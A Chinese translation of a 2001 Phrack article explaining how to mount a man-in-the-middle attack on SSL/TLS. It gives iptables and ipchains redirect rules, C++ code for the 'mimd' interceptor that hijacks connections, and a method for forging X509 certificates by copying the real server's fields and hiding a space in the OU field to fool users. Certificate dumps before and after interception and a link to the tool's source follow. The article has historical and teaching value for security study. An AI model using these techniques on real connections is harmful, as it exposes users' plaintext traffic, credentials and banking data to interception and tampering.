歡迎您光臨本站 註冊首頁

SSL中間人攻擊

←手機掃碼閱讀     火星人 @ 2014-03-12 , reply:0
  作者:Stealth
翻譯:nixe0n




簡介


SSLv3的當前版本是3.1版,也被稱為TLS。它提供了一種機制,在網路上進行安全的數據傳輸。它據說能夠滿足所有的安全需要,比如:你的銀行帳戶管理。

但是在這裡我將告訴你,這實際上是不可能的。

在本文中,我首先將對SSL做一些介紹,這是非常重要的。不過,這裡我們不會介紹諸如SSL是怎樣實現連接的等深層問題,如果有興趣,可以自己參考參考資料。



1.為什麼使用SSL


SSL是為了實現網路數據傳輸中的如下目的設計的:



機密性

這是通過對數據進行加密實現的,在進行SSL握手時,SSL選擇一種對稱演算法對數據進行加密,然後才在網路上傳輸數據。SSL使用的加密演算法有好多種,如果某種演算法被新的網路攻擊方法識破,它只要選擇另外的演算法就可以了。


消息的完整性

SSL使用一種很健壯的信息驗證碼(Message Authentication Code),例如:SHA-1,驗證碼被放在數據包的後部,並且和數據一塊被加密。這樣,如果數據被修改,其散列值就無法和原來的驗證碼匹配,從而能夠檢測出數據是否被修改。MAC同時也被用於保護SSL連接免受干擾。



保護數據免受重放攻擊(replay-attack)

SSL使用序列號來保護通訊方免受報文重放攻擊。這個序列號被加密後作為數據包的負載。在整個SSL握手中中,都有一個唯一的隨機數來標記這個SSL握手,這樣重放便無機可乘。


免受recorder攻擊(reorder-attack)

上面所說的序列號也可以防止攻擊者記錄數據包並以不同的次序發送。



端點驗證

使用X509(當前版本是3)證書,SSL支持客戶和伺服器的驗證。關於伺服器的連接,我們稍後將深入介紹。


這聽起來似乎很安全,但是看了本文介紹的程序,就就不這麼想了。(不過,我們還不能打破客戶端的驗證)

使用本文介紹的攻擊方法,我們就可以看到SSL連接上所有明文數據,根據我們的需要修改傳輸的數據,對數據進行中繼發送,以錯誤的次序發送甚至丟棄我們不需要的報文。這種攻擊方法就是所謂的途中人攻擊(man in the middle attack,或者中間人攻擊)。



2.X509數字證書


X509數字證書是SSL的一個組成部分。在SSL握手過程中,伺服器向客戶發送自己的數字證書。一個X509數字證書包括發行者的識別名(Distinguished Name)、主體(Subject)的識別名、一個版本號和序列號、選擇的演算法、密鑰的有效期時間窗,還有主體的公鑰。

主體(subject)是這個證書包含實體的名,證書中的公鑰屬於主體(Subject)。在平常的X509數字證書中,沒有標誌DNS名的域。通常,CN域被影射為DNS名,但是這只是一個客戶和數字證書的實體必須都認可的協議。

發行者(issuer)是使用自己的私鑰簽發這個數字證書。它叫做數字證書中心(Certificate Authority,CA)。

讓我們看一個X509數字證書:


stealth@lydia:sslmim> ./cf segfault.net 443|openssl x509 -text
Certificate:
Data:
Version: 1 (0x0)
Serial Number: 1 (0x1)
Signature Algorithm: md5WithRSAEncryption
Issuer: C=EU, ST=segfault, L=segfault,
O=www.segfault.net/Email=crew@segfault.net
Validity
Not Before: Nov 19 01:57:27 2000 GMT
Not After : Apr 5 01:57:27 2028 GMT
Subject: C=EU, ST=segfault, L=segfault, O=www.segfault.net,
CN=www.segfault.net/Email=crew@segfault.net
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
RSA Public Key: (1024 bit)
Modulus (1024 bit):
00:cd:64:2a:97:26:7a:9b:5c:52:5e:9c:9e:b3:a2:
e5:f5:0f:99:08:57:1b:68:3c:dd:22:36:c9:01:05:
e1:e5:a4:40:5e:91:35:8e:da:8f:69:a5:62:cf:cd:
70:dc:ca:d2:d7:92:03:5c:39:2a:6d:02:68:91:b9:
0d:d1:2c:c7:88:cb:ad:be:cc:e2:fa:03:55:a1:25:
47:15:35:8c:d9:78:ef:9f:6a:f6:5f:e6:9a:02:12:
a3:c2:b8:6a:32:0f:1d:9d:7b:2f:65:90:4e:ca:f7:
a0:e4:ae:55:91:09:e4:6e:01:e3:d1:71:1e:60:b1:
83:88:8f:c4:6a:8c:bb:26:fd
Exponent: 65537 (0x10001)
Signature Algorithm: md5WithRSAEncryption
7d:c7:43:c3:71:02:c8:2f:8c:76:9c:f3:45:4c:cf:6d:21:5d:
e3:8f:af:8f:e0:2e:3a:c8:53:36:6b:cf:f6:27:01:f0:ed:ee:
42:78:20:3d:7f:e3:55:1f:8e:f2:a0:8e:1a:1b:e0:76:ad:3e:
a0:fc:5b:ce:a6:c4:32:7b:64:f2:a4:0f:a3:be:a1:0e:a7:ca:
ed:67:39:07:65:6b:cc:e7:5a:9a:b0:3a:f3:5c:1a:18:d4:dd:
8c:8d:5a:9e:a0:63:e0:7d:af:7c:97:7c:89:17:0f:25:2f:a7:
80:d3:02:dc:88:7a:12:64:ec:8a:ff:e4:62:92:2e:7f:75:03:
82:f1


要點:


Issuer: C=EU, ST=segfault, L=segfault,
O=www.segfault.net/Email=crew@segfault.net


C、ST、L、O和Email構成發行者的識別名(distinguished name,DN)。


Subject:C=EU, ST=segfault, L=segfault, O=www.segfault.net,
CN=www.segfault.net/Email=crew@segfault.net


證書可以由一個公開的CA簽發,或者由自己簽發(就是所謂的自簽發證書)。在這個例子中的證書就是由自己簽發的。

這是沒有被攔截的原始數字證書。後面我們將看一下如果有人攔截連接看起來會怎樣。

當你的瀏覽器向https://segfault.net的連接時,這個證書會在SSL握手期間進行交換。證書中保存的公鑰就被用於會話的加密。

為了具有pretty good層的安全性,證書應該由一個CA(你自己或者一個公開的CA)簽發,客戶有這個CA的公鑰用於檢查這個證書的合法性。如果客戶沒有這個CA的公鑰,瀏覽器就會提示用戶接受還是拒絕這個證書。這對於互動式的客戶程序是必須的,不過事實上對於太多的站點發行的證書,客戶並沒有他們的公鑰來檢查證書的合法性。對於普通的互動式客戶程序(例如:Netscape瀏覽器),這種情況就可能造成使SSL連接失去意義。



3.攔截


綜上所述,X509數字證書是SSL的重要環節。它的任務就是保證客戶和伺服器之間的會話,並且它使用的密鑰是正確的。

現在,想象一下我們偽裝一個證書,並對一個SSL連接進行轉發會怎麼樣。

這值得一試。我們的座右銘是「teile und herrsche(哪國英文?)」,這裡我們必須解決兩個問題:



a.劫持連接然後進行轉發。


b.偽造一個數字證書,讓客戶以為他是和真正的伺服器通訊。


a+b就是通常所說的途中人(man in the middle,又可以叫做中間人)攻擊。從理論上X509應該能夠阻止這種攻擊,但是平常的互動式客戶程序(例如:Netscape瀏覽器)所採取的證書檢查方式使這種攻擊方式有機可乘。

第一個問題很好解決,假設我們位於客戶和伺服器之間,我們只要在我們的防火牆上略施小計(最好是在Linux或者BSD上:P)把連接重定向就可以了,另外我們把自己的程序稱為mimd。對於Linux-2.2.x(ipchains)版本的內核,使用如下規則就可以截獲https包文,把它們導入輸入(input)鏈:


ipchains -A input -s 0/0 -d 0/0 443 -j REDIRECT 10000 -p tcp


對於Linux-2.4.x內核(iptables),可以使用如下規則:


iptables -t nat -A OUTPUT -p tcp --sport 1000:3000 -dport 443\
-j REDIRECT --to-port 10000


要給出SSL客戶的源埠,如果我們忽略了這一點,mimid就會進入一個無限的循環(iptables將會重定向已經重定向的流量)。mimd被綁定到8888埠,它不匹配這條規則。你的物理位置不必位於SSL連接雙方中間,位於伺服器區域網內或者客戶機區域網內就足夠了。使用ARP欺詐就可以很好地完成這個工作,甚至連防火牆規則都不必修改。

有了這些重定向規則,我們就可以著手建立的工具了。目標地址可以使用操作系統的API找到(getsockopt())。這個工具中的NS_Socket::dstaddr()函數在絕大多數操作系統中都可以成功編譯。使用這個小程序,我們可以看到通過連接的數據。

為了使這個小程序能夠看到連接的明文數據,我們需要使用SSL_accpet()和SSL_connect()調用。首先,我們需要調用(accept()接受客戶程序的連接,接著使用SSL_connect()向真正的伺服器發起連接請求。然後,執行真正的SSL_accept()。假設我們已經完成了初始化內容,比如:載入密鑰文件等。這時,在客戶端,客戶程序(例如:瀏覽器)就會詢問用戶是否接受這個工具的證書。

但是,用戶顯然可以輕鬆認出這個證書是偽造的,因為他在瀏覽A公司的網站時,卻收到B公司或者途中人的證書,必然會引起他的懷疑。

下面我們將會解決這個問題。SSL_connect()和SSL_accept()的順序應該正確,我將對其進行解釋。



4.DCA


如果用戶接受偽造的證書,我們就可以使用SSL_read()讀出連接的明文數據,並使用SSL_write()把它們轉發到真正的伺服器。現在我們就著手解決如何偽造證書的問題。

記住:在SSL_connect()要先於SSL_accept()調用,這樣伺服器可以把我們看做合法的用戶,和我們進行正常的SSL握手,從而我們可以得到伺服器的證書。

下面我們看一下實際的代碼:


//阻塞,等待iptables劫持的連接
while ((afd = accept(sfd, (sockaddr*)&from, &socksize)) >= 0) {

// 獲得連接真正的
// 目的地址
if (NS_Socket::dstaddr(afd, &dst) < 0) {
log(NS_Socket::why());
die(NULL);
}

...

++i;//一個全局變數記錄被劫持連接的數量
if (fork() == 0) {//fork出一個進程,由子進程處理被劫持的連接,父進程繼續等待連接

// 成為真正目的伺服器的客戶
if ((sfd2 = socket(PF_INET, SOCK_STREAM, 0)) < 0) {
log("main::socket");
die(NULL);
}


if (NS_Socket::bind_local(sfd2, 8888+i, 0) < 0) {
log(NS_Socket::why());
die(NULL);
}//把套接字綁定到本地埠,可以同時處理多個連接


// 向真正的伺服器發起連接
if (connect(sfd2, (struct sockaddr*)&dst,
sizeof(dst)) < 0) {
log("main::connect");
die(NULL);
}

...

client->start();
client->fileno(sfd2); // 使用sfd2和真正的伺服器進行連接

// 進行SSL握手以建立SSL連接
if (client->connect() < 0) {
log("Clientside handshake failed. Aborting.");
die(NULL);
}


現在,我們和真正伺服器之間的SSL握手已經完成。注意,在源代碼中,SSL_connect()和SSL_accept()兩個函數都被封裝到了client和server對象中。現在,我們可以準備自己作為SSL伺服器和SSL客戶之間的連接了:


// 伺服器端

server->start(); // 建立SSL對象
server->fileno(afd); // 使用afd套接字接受客戶連接


我們進行真正的偽造,調用SSL_accept():


if (enable_dca)
NS_DCA::do_dca(client, server);


動態證書裝配(Dynamic Certificate Assembly)函數do_dca()進行如下工作:


給一個幾乎是空白的證書(除了C域之外,其它RDN全部為空),do_dca()使用和伺服器進行SSL握手獲得的內容填充剩下的RDN域。我們抽取L、ST、O、CN、OU和EMAIL域,把它們放到我們自己的證書,然後把這個證書顯示給SSL客戶。為了完成這個工作,do_dca()使用了字元串解析(抽取RDN域),並調用OpenSSL提供的using X509_()函數。

在證書發行者的OU域(OrganizationalUnit,原來為空)我們填上一個空格,這個空格不會在SSL客戶程序的窗口中顯示出來,但是可以把偽造的新證書和來自公共CA的證書區別開。當這個偽造的證書到達SSL客戶程序之後,客戶程序就會提示用戶是否接收這個證書,用戶看來這個證書來自一個已知的可信任的CA(實際上,OU域多了一個空格:P,但是用戶看不出來),而對於SSL客戶程序來說,它知道這個證書不是來自用戶看到的CA(差一個空格呢:P),因此找不到這個CA的公鑰,只好提示用戶,讓用戶定奪是否接受這個證書。這時,被愚弄的用戶一般會接受這個證書。

現在我們可以修改發行者的subject域(CN...),把前面的X509證書變成自簽發(self-signed)證書。用戶無法知道自簽發證書是偽造的。


然後,把被重新裝配的證書顯示給客戶:


// do SSL handshake as fake-server
if (server->accept() < 0) {
log("Serverside handshake failed. Aborting.");
die(NULL);
}

ssl_forward(client, server);


ssl_forward()函數只是循環調用SSL_read/SSL_write函數,記錄傳輸的明文數據。我們也可以隨心所欲地修改傳遞的數據。

下面在mimd激活之後(沒有使用-I選項),我們使用cf取回來自https伺服器的X509證書:


stealth@lydia:sslmim> ./cf segfault.net 443|openssl x509 -text
Certificate:
Data:
Version: 3 (0x2)
Serial Number: 1 (0x1)
Signature Algorithm: md5WithRSAEncryption
Issuer: C=US, C=EU, ST=segfault, L=segfault,
O=www.segfault.net, OU= /Email=crew@segfault.net
Validity
Not Before: Mar 20 13:42:12 2001 GMT
Not After : Mar 20 13:42:12 2002 GMT
Subject: C=US, C=EU, ST=segfault, L=segfault, O=www.segfault.net,
CN=www.segfault.net/Email=crew@segfault.net
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
RSA Public Key: (1024 bit)
Modulus (1024 bit):
00:d4:4f:57:29:2c:a0:5d:2d:af:ea:09:d6:75:a3:
e5:b6:db:41:d7:7f:b7:da:52:af:d1:a7:b8:bb:51:
94:75:8d:d4:c4:88:3f:bf:94:b1:a9:9a:f8:55:aa:
0d:11:d6:8f:8c:8b:5b:b5:db:03:18:7e:7a:d7:3b:
b0:24:a9:d6:ba:9a:a7:bb:9b:ba:78:50:65:4b:21:
94:6f:83:d4:de:16:e4:8b:03:f2:97:f0:0b:9b:55:
ed:aa:d2:c3:ee:66:55:10:ba:59:4d:f0:9d:4e:d4:
b5:52:ff:8c:d9:75:c2:ae:49:be:63:57:b9:48:36:
ca:c2:07:9d:ba:32:ff:d6:e7
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Subject Key Identifier:
4A:2C:50:3A:50:4E:96:3D:E6:C7:4E:E8:C2:DF:41:F0:0A:26:F0:DD
X509v3 Authority Key Identifier:
keyid:4A:2C:50:3A:50:4E:96:3D:E6:C7:4E:E8:C2:DF:41:F0:0A:26:F0:DD
DirName:/C=US
serial:00

X509v3 Basic Constraints:
CA:TRUE
Signature Algorithm: md5WithRSAEncryption
b7:7d:5a:c7:73:19:66:aa:89:25:7c:f6:bc:fd:7d:82:1a:d0:
ac:76:93:72:db:2d:f6:3b:e0:88:5f:1d:6e:7c:25:d7:a2:de:
86:28:38:90:cf:fe:38:a0:1f:67:87:37:8b:2c:f8:65:57:de:
d1:4c:67:55:af:ca:4c:ae:7b:13:f2:6f:b6:64:f6:aa:7f:28:
8b:2f:21:07:8f:6d:7e:0c:3f:17:b1:69:3a:ea:c0:fb:a2:aa:
f9:d6:a6:05:6d:77:e1:e6:f0:12:a3:e6:ca:2a:73:33:f2:91:
e1:72:c8:83:84:48:fa:fe:98:6c:d4:5a:ab:98:b2:2e:3c:8a:
eb:f2


比較激活mimd前後兩個證書,你可以發現兩個證書的公鑰是不同的,後面這個證書的公鑰實際是mimd自己的公鑰。C域包含US和EU,這些信息會在Netscape瀏覽器中顯示,和原來的證書沒有什麼不同。注意到這個證書的OU域了嗎?原來的證書並沒有這個域,而新的證書中這個域的是一個空格。新證書的發行者信息是來自原來的數字證書。這個證書不再是由某個公開CA簽發的,變成了一個自簽發(self-signed)的證書。

下面我們使用-I選項重新啟動mimd,這次我們使用被截獲證書的Subject來填充偽造證書的Issuer,使偽造證書變成自簽發證書。


stealth@lydia:sslmim> ./cf segfault.net 443|openssl x509 -text
Certificate:
Data:
Version: 3 (0x2)
Serial Number: 1 (0x1)
Signature Algorithm: md5WithRSAEncryption
Issuer: C=US, C=EU, ST=segfault, L=segfault,
O=www.segfault.net, OU= , CN=www.segfault.net/Email=crew@segfault.net
Validity
Not Before: Mar 20 13:42:12 2001 GMT
Not After : Mar 20 13:42:12 2002 GMT
Subject: C=US, C=EU, ST=segfault, L=segfault, O=www.segfault.net,
CN=www.segfault.net/Email=crew@segfault.net
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
RSA Public Key: (1024 bit)
Modulus (1024 bit):
00:d4:4f:57:29:2c:a0:5d:2d:af:ea:09:d6:75:a3:
e5:b6:db:41:d7:7f:b7:da:52:af:d1:a7:b8:bb:51:
94:75:8d:d4:c4:88:3f:bf:94:b1:a9:9a:f8:55:aa:
0d:11:d6:8f:8c:8b:5b:b5:db:03:18:7e:7a:d7:3b:
b0:24:a9:d6:ba:9a:a7:bb:9b:ba:78:50:65:4b:21:
94:6f:83:d4:de:16:e4:8b:03:f2:97:f0:0b:9b:55:
ed:aa:d2:c3:ee:66:55:10:ba:59:4d:f0:9d:4e:d4:
b5:52:ff:8c:d9:75:c2:ae:49:be:63:57:b9:48:36:
ca:c2:07:9d:ba:32:ff:d6:e7
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Subject Key Identifier:
4A:2C:50:3A:50:4E:96:3D:E6:C7:4E:E8:C2:DF:41:F0:0A:26:F0:DD
X509v3 Authority Key Identifier:
keyid:4A:2C:50:3A:50:4E:96:3D:E6:C7:4E:E8:C2:DF:41:F0:0A:26:F0:DD
DirName:/C=US
serial:00

X509v3 Basic Constraints:
CA:TRUE
Signature Algorithm: md5WithRSAEncryption
b7:7d:5a:c7:73:19:66:aa:89:25:7c:f6:bc:fd:7d:82:1a:d0:
ac:76:93:72:db:2d:f6:3b:e0:88:5f:1d:6e:7c:25:d7:a2:de:
86:28:38:90:cf:fe:38:a0:1f:67:87:37:8b:2c:f8:65:57:de:
d1:4c:67:55:af:ca:4c:ae:7b:13:f2:6f:b6:64:f6:aa:7f:28:
8b:2f:21:07:8f:6d:7e:0c:3f:17:b1:69:3a:ea:c0:fb:a2:aa:
f9:d6:a6:05:6d:77:e1:e6:f0:12:a3:e6:ca:2a:73:33:f2:91:
e1:72:c8:83:84:48:fa:fe:98:6c:d4:5a:ab:98:b2:2e:3c:8a:
eb:f2


比較這兩個偽造的證書,你會發現後面這個的Issuer中包含CN域,這是為了加強偽造的效果:P。



結論


綜上所述,使用互動式客戶程序在網路上衝浪的用戶無法知道遭到了途中人攻擊,因為他們無法分辨公司使用未知的CA(company uses unknown CA)的提示信息是真的還是自己遭到了途中人攻擊。而且,即使他以前曾經瀏覽過這個站點並保存了它的數字證書,也仍然可能掉入圈套(還記得OU域的空格嗎?:P)。對於一些機警的用戶,把偽造的證書變成自簽發證書將會打消他們的疑慮。

本文使用separate-ports的方式斷開了SSL連接,但是在一種情況下(upward negotiation)無法使用mimd。SSL使用一個關鍵詞把前面的明文數據流變成SSL數據流傳輸。這個問題使用MSG_PEEK可能可以解決,他們(作者)正在研究呢:P



參考


[1] "SSL and TLS" Designing and Building Secure Systems
Eric Rescorla, AW 2001

A 'must-read' if you want/need to know how SSL works.

[2] "Angewandte Kryptographie"
Bruce Schneier, AW 1996

THE book for crypto-geeks. I read the german version,
in english its 'Applied Cryptographie'

[2] various openssl c-files and manpages

[3] http://www.cs.uni-potsdam.de/homepages/students/linuxer/sslmim.tar.gz
A DCA implementation, described in this article;
also contains 'cf' tool.

[4] In case you cannot try mimd on your local box, view
a snapshot from a mim-ed session provided by TESO:
http://www.team-teso.net/ssl-security.png


原文來源:Haaaang on snoopy, snoopy hang on. (SSL for fun and profit) phrack Volume 0x0b, Issue 0x39


[火星人 ] SSL中間人攻擊已經有662次圍觀

http://coctec.com/docs/security/show-post-72715.html